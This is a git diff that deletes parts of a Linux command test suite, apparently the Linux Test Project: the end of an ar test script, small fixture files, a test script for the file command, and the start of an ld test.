-	    	TCRESULT=21
-		echo "FAIL - ar with -v flag failed to print a line for each file"
-	fi
-
-	# The -v option produces a verbose listing like ls -n
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a;cd $TCdat $TCtmp/lib.a.exp *out
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-
-	ls -ln --time-style=+%b" "%e" "%H:%M file1.in file2.in file3.in |
-	while read permissions link uid gid size month day time file_name
-	do
-		echo "${permissions%.};$uid/$gid;$size;$month;$day;$time;$file_name"
-	done >>  $TCtmp/lib.a.exp
-
-	ar -tv $TCtmp/lib.a |
-	while read permissions uid size month day time year file_name
-	do
-		echo "-$permissions;$uid;$size;$month;$day;$time;$file_name"
-	done >> $TCtmp/lib.a.stdout
-	ttest
-
-	diff $TCtmp/lib.a.exp $TCtmp/lib.a.stdout
-	if [ $? -eq 0 ]
-	then
-		echo "-)22"
-	else
-		TCRESULT=22
-		echo "FAIL - ar with -v failed to produce a verbose out put"
-	fi
-
-	# The 'v' option causes the 'x' option to display a filename for each
-	# file extracted.
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a;cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	Count=`ar -xv $TCtmp/lib.a | wc -l`
-
-	if [ $Count = '3' ]
-	then
-		echo "-)23"
-	else
-		TCRESULT=23
-		echo "FAIL - ar with -v along with x did not display extracted file names"
-	fi
-
-	# The command 'ar -x afile ' causes all files from the archive to be extracted.
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a;cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-
-	Count=`ar -xv $TCtmp/lib.a | wc -l`
-
-	if [ $Count -eq '3' ]
-	then
-		echo "-)24"
-	else
-		TCRESULT=24
-		echo "FAIL - ar with -x flag did not extract all file"
-	fi
-
-	# The command 'ar -x afile name name' causes only named files from
-	# the archive to be extracted.
-
-	# CODE
-	rm -rf $TCtmp/lib.a;cd $TCdat
-	ar -cr $TCtmp/lib.a file1.in file2.in file3.in
-	crtest
-	Count=`ar -xv $TCtmp/lib.a file1.in | grep file | wc -l`
-
-	if [ $Count = '1' ]
-	then
-		echo "-)25"
-	else
-		TCRESULT=25
-		echo "FAIL - ar with -x lib filename did not extract the named file alone"
-	fi
-
-	# This test will fail under pan, so it's commented out by default.
-	echo "-)26 SKIPPED UNDER PAN"
-	#
-	# Signal SIGHUP
-
-	# CODE
-
-	rm -rf $TCtmp/lib.*
-
-	ar -vr $TCtmp/lib.a $LIST >>$TCtmp/lib.a.stdout&
-	while [ ! -s $TCtmp/lib.a ]
-	do
-		sleep 1
-	done
-	kill -s 2 $! >/dev/null 2>&1
-
-	sleep 1
-	if [ `wc -l $TCtmp/lib.a.stdout|(read a b;echo $a)` -ne 100 ]
-	then
-		TCRESULT=27
-		echo "FAIL - ar could not create the archive ; killed by SIGINIT"
-	else
-		echo "-)27"
-	fi
-
-	# Signal SIGQUIT
-
-	# CODE
-
-	rm -rf $TCtmp/lib.*
-
-	ar -vr $TCtmp/lib.a $LIST >>$TCtmp/lib.a.stdout&
-	while [ ! -s $TCtmp/lib.a ]
-	do
-		sleep 1
-	done
-	kill -s 3 $! >/dev/null 2>&1
-
-	sleep 1
-	if [ `wc -l $TCtmp/lib.a.stdout|(read a b;echo $a)` -ne 100 ]
-	then
-		TCRESULT=28
-		echo "FAIL - ar could not create the archive ; killed by SIGQUIT"
-	else
-		echo "-)28"
-	fi
-
-	# Signal SIGHUP; ar should not remove archive that existed before invocation.
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a;cd $TCdat $TCtmp/lib.a.stdout
-	ar -rv $TCtmp/lib.a file1.in file2.in file3.in 2>&1 1>$TCtmp/lib.a.stdout
-	rtest
-	ar -rv $TCtmp/lib.a $LIST 2>&1 1>>$TCtmp/lib.a.stdout&
-	rtest
-	while [ ! -s $TCtmp/lib.a ]
-	do
-		sleep 1
-	done
-	sleep 1
-	kill -s 1 $! 2>&1 1>/dev/null | read a
-
-	if [ `wc -l $TCtmp/lib.a.stdout|(read a b;echo $a)` -ne 103 ]
-	then
-		TCRESULT=29
-		echo "FAIL - ar could not complete the archive ; killed by SIGHUP"
-	else
-		echo "-)29"
-	fi
-
-	# Signal SIGINIT; ar should not remove archive that existed before invocation.
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a
-	cd $TCdat $TCtmp/lib.a.stdout
-	ar -rv $TCtmp/lib.a file1.in file2.in file3.in 2>&1 1>$TCtmp/lib.a.stdout
-	rtest
-	ar -rv $TCtmp/lib.a $LIST 2>&1 1>>$TCtmp/lib.a.stdout&
-	rtest
-	while [ ! -s $TCtmp/lib.a ]
-	do
-		sleep 1
-	done
-	sleep 1
-
-	kill -s 2 $! 2>&1 1>/dev/null | read a
-
-	if [ `wc -l $TCtmp/lib.a.stdout|(read a b;echo $a)` -ne 103 ]
-	then
-		TCRESULT=30
-		echo "FAIL - ar could not complete the archive ; killed by SIGINIT"
-	else
-		echo "-)30"
-	fi
-
-	# Signal SIGQUIT; ar should not remove archive that existed before invocation.
-
-	# CODE
-
-	rm -rf $TCtmp/lib.a
-	cd $TCdat
-	ar -rv $TCtmp/lib.a file1.in file2.in file3.in 2>&1 1>$TCtmp/lib.a.stdout
-	rtest
-	ar -rv $TCtmp/lib.a $LIST 2>&1 1>>$TCtmp/lib.a.stdout&
-	rtest
-	while [ ! -s $TCtmp/lib.a ]
-	do
-		sleep 1
-	done
-	sleep 1
-	kill -s 3 $! 2>&1 1>/dev/null | read a
-
-	if [ `wc -l $TCtmp/lib.a.stdout|(read a b;echo $a)` -ne 103 ]
-	then
-		TCRESULT=31
-		echo "FAIL - ar could not complete the archive ; killed by SIGQUIT"
-	else
-		echo "-)31"
-	fi
-
-	rm -rf $TCtmp
-	COUNT=`expr $COUNT + 1`
-
-done
-cleanup
diff --git a/testcases/commands/ade/ar/file0.in b/testcases/commands/ade/ar/file0.in
deleted file mode 100644
index 9f4b6d8..0000000
--- a/testcases/commands/ade/ar/file0.in
+++ /dev/null
@@ -1 +0,0 @@
-This is a test file
diff --git a/testcases/commands/ade/ar/file5.in b/testcases/commands/ade/ar/file5.in
deleted file mode 100644
index 2931e4a..0000000
--- a/testcases/commands/ade/ar/file5.in
+++ /dev/null
@@ -1 +0,0 @@
-This is file five
diff --git a/testcases/commands/ade/ar/file6.in b/testcases/commands/ade/ar/file6.in
deleted file mode 100644
index 74e22f1..0000000
--- a/testcases/commands/ade/ar/file6.in
+++ /dev/null
@@ -1 +0,0 @@
-This is file six
diff --git a/testcases/commands/ade/ar/file7.in b/testcases/commands/ade/ar/file7.in
deleted file mode 100644
index ca6b67f..0000000
--- a/testcases/commands/ade/ar/file7.in
+++ /dev/null
@@ -1 +0,0 @@
-This is file seven
diff --git a/testcases/commands/ade/ar/file8.in b/testcases/commands/ade/ar/file8.in
deleted file mode 100644
index 8370000..0000000
--- a/testcases/commands/ade/ar/file8.in
+++ /dev/null
@@ -1 +0,0 @@
-This is file eight
diff --git a/testcases/commands/ade/ar/file9.in b/testcases/commands/ade/ar/file9.in
deleted file mode 100644
index af42d1a..0000000
--- a/testcases/commands/ade/ar/file9.in
+++ /dev/null
@@ -1 +0,0 @@
-This is file nine
diff --git a/testcases/commands/ade/file/Makefile b/testcases/commands/ade/file/Makefile
deleted file mode 100644
index 1411b3e..0000000
--- a/testcases/commands/ade/file/Makefile
+++ /dev/null
@@ -1,31 +0,0 @@
-#
-#    commands/ade/file testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-INSTALL_TARGETS		:= file_test.sh
-
-MAKE_TARGETS		:=
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/file/file_test.sh b/testcases/commands/ade/file/file_test.sh
deleted file mode 100755
index f28b0ad..0000000
--- a/testcases/commands/ade/file/file_test.sh
+++ /dev/null
@@ -1,636 +0,0 @@
-#!/bin/sh
-################################################################################
-##                                                                            ##
-## Copyright (c) International Business Machines  Corp., 2001                 ##
-##                                                                            ##
-## This program is free software;  you can redistribute it and#or modify      ##
-## it under the terms of the GNU General Public License as published by       ##
-## the Free Software Foundation; either version 2 of the License, or          ##
-## (at your option) any later version.                                        ##
-##                                                                            ##
-## This program is distributed in the hope that it will be useful, but        ##
-## WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY ##
-## or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU General Public License   ##
-## for more details.                                                          ##
-##                                                                            ##
-## You should have received a copy of the GNU General Public License          ##
-## along with this program;  if not, write to the Free Software               ##
-## Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA    ##
-##                                                                            ##
-################################################################################
-#
-# File:           file_test.sh
-#
-# Description: This program tests the file command. The tests are aimed at
-#              testing if the file command can recognize some of the commonly
-#              used file formats like, tar, tar.gz, rpm, C, ASCII, ELF etc.
-#
-# Author:      Manoj Iyer, manjo@mail.utexas.edu
-#
-# History:     Dec 16 2002 - Created. - Manoj Iyer manjo@austin.ibm.com.
-#              Dec 17 2002 - Added.   - GPL header and minor doc changes.
-#                            If LTPTMP and LTPBIN are not exported set their
-#                            values to /tmp and 'pwd' respectively.
-#                          - Added.   - exit status, if any test fails the test
-#                            exits with non-zero value if all tests pass test
-#                            exits with zero.
-#              Dec 18 2002 - Added.   - Code to read environment variable
-#                            LTPROOT and TMPBASE and set LTPTMP and LTPBIN
-#                            accordingly.
-
-
-#
-# Description of individual test cases
-# ------------------------------------
-#
-# Test01: Test if file command recognizes ASCII text files
-# -------
-# 1) Write text to a known file
-# 2) Use 'file' command to get the type of the known file
-#    Ex: file xyz.txt
-# 3) Grep for the keyword "ASCII text" in the output of the
-#    'file' command
-# 4) Declare test as PASS if above step is successful else
-#    declare test as FAIL
-#
-# Test02: Test if file command can recognize bash shell script
-# -------
-# 1) Write a small bash shell script to a known file
-# 2) Use 'file' command to get the type of the known file
-#    Ex: file xyz.sh
-# 3) Grep for the keyword "Bourne-Again shell script" in
-#    the output of the 'file' command
-# 4) Declare test as PASS if above step is successful else
-#    declare test as FAIL
-#
-# Test03: Test if file command can recognize bash shell script
-# -------
-#   Similar test(as Test02) is performed with Korn shell script
-#
-# Test04: Test if file command can recognize C shell script
-# -------
-#   Similar test(as Test02) is performed with C shell script
-#
-# Test05: Test if file command can recognize C program text
-# -------
-#   Similar test(as Test02) is performed with C program text
-#
-# Test06: Test if file command can recognize ELF binary executables
-# -------
-# 1) Use readelf to determine if the host is big- or little-endian
-#    and assign TEST_ARCH the string "MSB" or "LSB" respectively
-# 2) Write small C program to a known '.c' file
-# 3) Compile it using "cc"
-#    Ex: cc xyz xyz.c
-# 4) Use file command to get the type of the object file
-# 5) Grep for the string "ELF .*-bit $TEST_ARCH executable, .*"
-#    in the output of the 'file' command
-# 6) If the above command is successful, declare test as PASS
-#    else declare test as FAIL
-#
-# Test07: Test if file command can recognize tar files
-# -------
-# 1) Write text to three different files
-# 2) Archive the files using "tar" command
-#    Ex: tar -cf ...
-# 3) Use 'file' command to get the type of the archive file
-#    Ex: file xyz.tar
-# 4) Grep for the string "tar archive" from the output of
-#    the above 'file' command
-# 5) Declare test as PASS, if the above step is successfull else
-#    declare test as FAIL
-#
-# Test08: Test if file command can tar zip files
-# -------
-# 1) Write text to three different files
-# 2) Archive the files using "tar" command
-#    Ex: tar -cf ...
-# 3) Use 'gzip' command to zip tar files
-#    Ex: gzip -f xyz.tar
-# 4) Use 'file' command to get the type of the archive file
-#    Ex: file xyz.tar.gz
-# 5) Grep for the string "gzip compressed data, .*" from the above
-#    file commnand
-# 6) Declare test as PASS, if the above step is successfull else
-#    declare test as FAIL
-#
-
-
-export TST_TOTAL=10                # Number of tests in this testcase
-
-if [ -z "$LTPTMP" -a -z "$TMPBASE" ]
-then
-    LTPTMP=/tmp/
-else
-    LTPTMP=$TMPBASE
-fi
-
-# 'LTPBIN' where actual test cases (test binaries) reside
-# 'LTPROOT' where the actual LTP test suite resides
-if [ -z "$LTPBIN" -a -z "$LTPROOT" ]
-then
-    LTPBIN=./
-else
-	LTPBIN=$LTPROOT/testcases/bin/
-fi
-
-# set return code RC variable to 0, it will be set with a non-zero return code
-# in case of error. Set TFAILCNT to 0, increment if there occures a failure.
-
-TFAILCNT=0
-RC=0
-
-# TEST #1
-# Test if file command recognizes ASCII text files.
-
-export TCID=file01
-export TST_COUNT=1
-
-$LTPBIN/tst_resm TINFO "TEST #1: file command recogizes ASCII text files"
-
-cat > $LTPTMP/test_file.txt <<EOF
-This is a text file
-to test file command.
-EOF
-
-# Execute file command & check for output.
-# Expected out put is the string "ASCII English text"
-
-file $LTPTMP/test_file.txt > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-    grep -q "ASCII text" $LTPTMP/file.out
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognised ASCII file correctly"
-        rm -f $LTPTMP/test_file.txt
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-                "file: Failed to recognise ASCII file correctlyi. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_res TFAIL $LTPTMP/file.out  \
-                "file: failed to recognize ASCII file correctly\t\t"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-# TEST #2
-# Test if file command can recognize bash shell script
-
-export TCID=file02
-export TST_COUNT=2
-
-$LTPBIN/tst_resm TINFO "TEST #2: file command recognizes bash shell scripts"
-
-cat > $LTPTMP/bash_script.sh <<EOF
-#! /bin/bash
-
-echo "this is a shell script"
-echo "used to test file command"
-
-EOF
-
-file $LTPTMP/bash_script.sh > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-    grep -q "Bourne-Again shell script" $LTPTMP/file.out
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognised bash shell script correctly"
-        rm -f $LTPTMP/bash_script.sh
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-            "file: Failed to recognise bash shell script. Reason"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_resm TFAIL "file: Failed to recognize bash shell script"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-# TEST #3
-# Test if file command can recognize korn shell script
-
-export TCID=file03
-export TST_COUNT=3
-
-$LTPBIN/tst_resm TINFO "TEST #3: file command recognizes korn shell scripts"
-
-cat > $LTPTMP/ksh_script.sh <<EOF
-#! /bin/ksh
-
-echo "this is a shell script"
-echo "used to test file command"
-
-EOF
-
-file $LTPTMP/ksh_script.sh > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-    grep -q "Korn shell script" $LTPTMP/file.out
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: recognised korn shell script"
-        rm -f $LTPTMP/ksh_script.sh
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-            "file: Failed to recognise korn shell script. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_resm TFAIL "File: Failed to recognize korn shell script"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-
-# TEST #4
-# Test if file command can recognize C shell script
-
-export TCID=file04
-export TST_COUNT=4
-
-$LTPBIN/tst_resm TINFO "TEST #4: file command recognizes C shell scripts"
-
-cat > $LTPTMP/C_script.sh <<EOF
-#! /bin/csh
-
-echo "this is a shell script"
-echo "used to test file command"
-
-EOF
-
-file $LTPTMP/C_script.sh > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-    grep -q "C shell script" $LTPTMP/file.out
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognised C shell script correctly"
-        rm -f $LTPTMP/C_script.sh
-    else
-        $LTPBIN/tst_resm TFAIL $LTPTMP/file.out \
-            "file: Failed to recognise C shell script correctly. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_resm TFAIL "file: Failed to recognize C shell script"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-
-# TEST #5
-# Test if file command can recognize C program text
-
-export TCID=file05
-export TST_COUNT=5
-
-$LTPBIN/tst_resm TINFO "TEST #5: file command recognizes C programs text"
-
-cat > $LTPTMP/cprog.c <<EOF
-#include <stdio.h>
-
-main()
-{
-    printf("Hello Hell\n");
-    exit(0);
-}
-EOF
-
-file $LTPTMP/cprog.c > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-    grep -q "ASCII C program text" $LTPTMP/file.out
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognised C program text correctly"
-        rm -f $LTPTMP/cprog.c
-    else
-        grep -q "C source, ASCII text" $LTPTMP/file.out
-        if [ $? -eq 0 ]
-        then
-            $LTPBIN/tst_resm TPASS "file: Recognised C program text correctly"
-            rm -f $LTPTMP/cprog.c
-        else
-            $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-                 "file: Failed to Recognize C program text correctly. Reason:"
-            TFAILCNT=$(( $TFAILCNT+1 ))
-        fi
-    fi
-else
-    $LTPBIN/tst_resm TFAIL "file: Failed to recognize C programi text"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-
-# TEST #6
-# Test if file command can recognize ELF binary executables
-
-export TCID=file06
-export TST_COUNT=6
-
-$LTPBIN/tst_resm TINFO \
-        "TEST #6: file command recognizes ELF executables"
-
-# check for CPU endianness
-case $(readelf -h /bin/sh) in
-    *Data:*"big endian"*)
-        TEST_ARCH=MSB
-        ;;
-    *Data:*"little endian"*)
-        TEST_ARCH=LSB
-        ;;
-    *)
-        TEST_ARCH=NULL
-        $LTPBIN/tst_resm TFAIL "file: Could not determine CPU endianness"
-        ;;
-esac
-
-cat > $LTPTMP/cprog.c <<EOF
-#include <stdio.h>
-
-main()
-{
-    printf("Hello Hell\n");
-    exit(0);
-}
-EOF
-
-cc -o $LTPTMP/cprog $LTPTMP/cprog.c > /dev/null 2>&1
-
-file $LTPTMP/cprog > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-    grep -q "ELF .*-bit $TEST_ARCH executable, .*" $LTPTMP/file.out
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognized ELF binary executable"
-        rm -f $LTPTMP/cprog.c $LTPTMP/cprog
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-             "file: Failed to Recognize ELF binary executable. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_resm TFAIL "file: Failed to recognize ELF binary executable"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-
-# TEST #7
-# Test if file command can recognize tar files
-
-export TCID=file07
-export TST_COUNT=7
-
-$LTPBIN/tst_resm TINFO "TEST #7: file command recognizes tar files."
-
-cat > $LTPTMP/file1 <<EOF
-This is a simple test file
-EOF
-
-cat > $LTPTMP/file2 <<EOF
-This is a simple test file
-EOF
-
-cat > $LTPTMP/file3 <<EOF
-This is a simple test file
-EOF
-
-tar -cf $LTPTMP/files.tar $LTPTMP/file1 $LTPTMP/file2 $LTPTMP/file3 > /dev/null 2>&1
-
-file $LTPTMP/files.tar > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-    grep -q "tar archive" $LTPTMP/file.out
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognised tar files"
-        rm -f $LTPTMP/files.tar # save $LTPTMP/file[123] for next test case
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-             "file: Failed to Recognize tar files. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_resm TFAIL "file: Failed to recognize tar files."
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-
-# TEST #8
-# Test if file command can tar zip files
-
-export TCID=file08
-export TST_COUNT=8
-
-$LTPBIN/tst_resm TINFO "TEST #8: file command recognizes tar zip files"
-
-tar cf $LTPTMP/files.tar $LTPTMP/file1 $LTPTMP/file2 $LTPTMP/file3 \
-    > $LTPTMP/file.out 2>&1
-if [ $? -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL \
-        "file: tar failed unexpectedly. Reason:"
-fi
-
-gzip -f $LTPTMP/files.tar
-if [ $? -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL \
-        "file: gzip failed unexpectedly. Reason:"
-fi
-
-file $LTPTMP/files.tar.gz > $LTPTMP/file.out 2>&1
-if [ $? -eq 0 ]
-then
-    grep "gzip compressed data, .*" $LTPTMP/file.out > $LTPTMP/file1.out 2>&1
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognised tar zip file"
-        rm -f $LTPTMP/files.tar.gz $LTPTMP/file1 $LTPTMP/file2 $LTPTMP/file3
-        rm -f $LTPTMP/file1.out
-    else
-        $LTPBIN/tst_brkm TBROK NULL \
-                "expected string: gzip compressed data, deflated,
-original filename, \`files.tar'"
-        $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-             "file: Failed to Recognize tar zip. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL \
-        "file: Failed to recognize tar zip file. Reason:"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-
-# TEST #9
-# Test if file command can recognize RPM files.
-
-export TCID=file09
-export TST_COUNT=9
-
-$LTPBIN/tst_resm TINFO "TEST #9: file command recognizes RPM files"
-type rpm > /dev/null 2>&1
-if [ $? = 0 ]; then
-bDIR=$(rpm --eval "%{_topdir}")
-bCMD=rpmbuild
-
-rpmversion=`rpm --version | awk -F ' ' '{print $3}' | cut -d '.' -f1 `
-
-if [ "$rpmversion" -ge "4" ]; then
- gpl="License: GPL"
-else
- gpl="Copyright: GPL"
-fi
-
-
-cat > $LTPTMP/files.spec <<EOF
-
-Summary: Dummy package used to test file command
-Name: cprog
-Version: 0.0.7
-Release: 3
-$gpl
-Group: LillB test case
-Source: ./cprog.c
-BuildRoot: /var/tmp/%{name}-buildroot
-
-%description
-Dummy RPM package used for testing file command.
-
-%prep
-%setup -q
-
-%build
-make RPM_OPT_FLAGS="$RPM_OPT_FLAGS"
-
-%install
-rm -rf $RPM_BUILD_ROOT
-install -s -m 755 cprog $RPM_BUILD_ROOT/tmp
-
-%clean
-rm -rf $RPM_BUILD_ROOT
-
-%files -f ./cprog.c
-%defattr(-,root,root)
-%doc README TODO COPYING ChangeLog
-
-EOF
-
-RC=0
-if [ -d $bDIR/SOURCES ]
-then
-    echo "directory exists" > $LTPTMP/file.out 2>&1
-else
-    mkdir -p $bDIR/SOURCES/ > $LTPTMP/file.out 2>&1 || RC=$?
-fi
-
-if [ $RC -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL "mkdir: broke. Reason:"
-fi
-
-cat > $bDIR/SOURCES/cprog.c <<EOF
-#include <stdio.h>
-
-main()
-{
-    printf("Hello Hell\n");
-    exit(0);
-}
-EOF
-if [ $? -ne 0 ]
-then
-    $LTPBIN/tst_brkm TBROK NULL "cat: failed to create test file cprog.c"
-fi
-
-$bCMD --define "_topdir $bDIR" -bs  $LTPTMP/files.spec > $LTPTMP/file.out 2>&1
-if [ $? -ne 0 ]
-then
-    $LTPBIN/tst_brk TBROK $LTPTMP/file.out NULL "rpm command broke. Reason:"
-fi
-
-file $bDIR/SRPMS/cprog-0.0.7-3.src.rpm > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-    grep -qE "RPM v3(\.0)? src" $LTPTMP/file.out
-    if [ $? -eq 0 ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognised RPM file correctly"
-        rm -f $LTPTMP/files.spec
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-             "file: Failed to Recognize RPM file. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-
-    fi
-else
-    $LTPBIN/tst_resm TFAIL "file: Failed to recognize RPM file"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-else
-    $LTPBIN/tst_resm TCONF "rpm not installed"
-fi
-
-
-# TEST #10
-# Test if file command can recognize kernel file
-
-export TCID=file10
-export TST_COUNT=10
-
-KERNEL=vmlinu
-
-$LTPBIN/tst_resm TINFO "TEST #10: file command recognizes $KERNEL file"
-
-# S390 Work around for vmlinuz file type
-# Applesoft BASIC:
-#
-# This is incredibly sloppy, but will be true if the program was
-# written at its usual memory location of 2048 and its first line
-# number is less than 256.  Yuck.
-#0       belong&0xff00ff 0x80000 Applesoft BASIC program data
-#>2      leshort         x       \b, first line number %d
-
-# Red Hat creates a user-mode-linux vmlinuz file (ends in .uml) - ignore it
-KERNFILE=$(find /boot ! -type l -name "$KERNEL*" | grep -v '.uml' | tail -n 1)
-file $KERNFILE > $LTPTMP/file.out 2>&1
-
-if [ $? -eq 0 ]
-then
-#####
-# There are lots of possible strings to look for, given the number
-# of different architectures...
-#####
-    MATCHED=""
-    grep -iq "$TEST_ARCH" $LTPTMP/file.out && MATCHED="y"
-    grep -iq "linux" $LTPTMP/file.out && MATCHED="y"
-    grep -iq "kernel" $LTPTMP/file.out && MATCHED="y"
-    grep -iq "compressed data" $LTPTMP/file.out && MATCHED="y"
-    grep -iq "x86 boot sector" $LTPTMP/file.out && MATCHED="y"
-    grep -iq "Applesoft BASIC" $LTPTMP/file.out && MATCHED="y"
-    if [ -n "$MATCHED" ]
-    then
-        $LTPBIN/tst_resm TPASS "file: Recognised $KERNEL file correctly"
-    else
-        $LTPBIN/tst_res TFAIL $LTPTMP/file.out \
-             "file: Failed to Recognize $KERNEL correctly. Reason:"
-        TFAILCNT=$(( $TFAILCNT+1 ))
-    fi
-else
-    $LTPBIN/tst_resm TFAIL "file: Failed to recognize $KERNEL file"
-    TFAILCNT=$(( $TFAILCNT+1 ))
-fi
-
-rm -f $LTPTMP/file.out
-exit $TFAILCNT
diff --git a/testcases/commands/ade/ld/Makefile b/testcases/commands/ade/ld/Makefile
deleted file mode 100644
index f59a136..0000000
--- a/testcases/commands/ade/ld/Makefile
+++ /dev/null
@@ -1,36 +0,0 @@
-#
-#    commands/ade/ld testcases Makefile.
-#
-#    Copyright (C) 2009, Cisco Systems Inc.
-#
-#    This program is free software; you can redistribute it and/or modify
-#    it under the terms of the GNU General Public License as published by
-#    the Free Software Foundation; either version 2 of the License, or
-#    (at your option) any later version.
-#
-#    This program is distributed in the hope that it will be useful,
-#    but WITHOUT ANY WARRANTY; without even the implied warranty of
-#    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
-#    GNU General Public License for more details.
-#
-#    You should have received a copy of the GNU General Public License along
-#    with this program; if not, write to the Free Software Foundation, Inc.,
-#    51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
-#
-# Garrett Cooper, July 2009
-#
-
-top_srcdir		?= ../../../..
-
-include $(top_srcdir)/include/mk/env_pre.mk
-
-CPPFLAGS		+= -fPIC
-
-INSTALL_TARGETS		:= ld01
-
-MAKE_TARGETS		:= $(patsubst $(abs_srcdir)/%.c,%.obj,$(wildcard $(abs_srcdir)/*.c))
-
-$(MAKE_TARGETS): %.obj: %.o
-	mv $^ $@
-
-include $(top_srcdir)/include/mk/generic_leaf_target.mk
diff --git a/testcases/commands/ade/ld/ld01 b/testcases/commands/ade/ld/ld01
deleted file mode 100755
index 231c7cd..0000000
--- a/testcases/commands/ade/ld/ld01
+++ /dev/null
@@ -1,253 +0,0 @@
-#!/bin/sh
-#
-#   Copyright (c) International Business Machines  Corp., 2000
-#
-#   This program is free software;  you can redistribute it and/or modify
-#   it under the terms of the GNU General Public License as published by
-#   the Free Software Foundation; either version 2 of the License, or
-#   (at your option) any later version.
-#
-#   This program is distributed in the hope that it will be useful,
-#   but WITHOUT ANY WARRANTY;  without even the implied warranty of
-#   MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See
-#   the GNU General Public License for more details.
-#
-#   You should have received a copy of the GNU General Public License
-#   along with this program;  if not, write to the Free Software
-#   Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
-#
-#
-#
-#  FILE   : ld01
-#
-#  PURPOSE: To test the basic functionality of the `ld` command.
-#
-#  HISTORY:
-#    06/01 Robbie Williamson (robbiew@us.ibm.com)
-#     -Ported
-#
-#
-#---------------------------------------------------------------------------
-#Uncomment line below for debug output
-#trace_logic=${trace_logic:-"set -x"}
-$trace_logic
-
-do_cleanup()
-{
-	rm -rf $TCtmp
-}
-
-res=0
-CC=${CC:=gcc}
-LD=${LD:=ld}
-TCdat=${TCdat:-`pwd`}
